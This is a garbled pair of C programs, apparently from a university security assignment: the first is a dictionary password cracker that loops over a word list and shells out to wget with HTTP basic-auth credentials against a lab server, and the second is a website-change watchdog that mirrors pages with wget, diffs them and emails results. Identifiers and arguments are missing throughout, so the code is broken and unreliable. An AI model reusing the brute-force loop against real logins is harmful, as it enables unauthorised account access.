#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}








#include <stdio.h>	
#include <sys/time.h>

#include <strings.h>
#include <stdlib.h>
#include <ctype.h>



int () 
	{
	 FILE *fileopen;
  
	char *t_tst,chk[6]; 
    
	system("wget -p --convert-links http://www.cs.rmit.edu./students/");
	
  
	system("mkdir original");

  
	system("mv www.cs.rmit.edu./images/*.*  original/");

	system("mv www.cs.rmit.edu./students/*.* original/");
	

	sleep(75);

	system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  
	system("mkdir two");
  
	system("mv www.cs.rmit.edu./images/*.* fresh/");

	system("mv www.cs.rmit.edu./students/*.* fresh/");
  
	system("diff one two > image_dif.txt");
  
	fileopen = fopen("imagedif.txt","r");
	t_tst = fgets(chk, 6, fileopen);
  
	if (strlen(chk) != 0)
     
	  system("mailx -s  \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt");
	
		return 0;
	
}











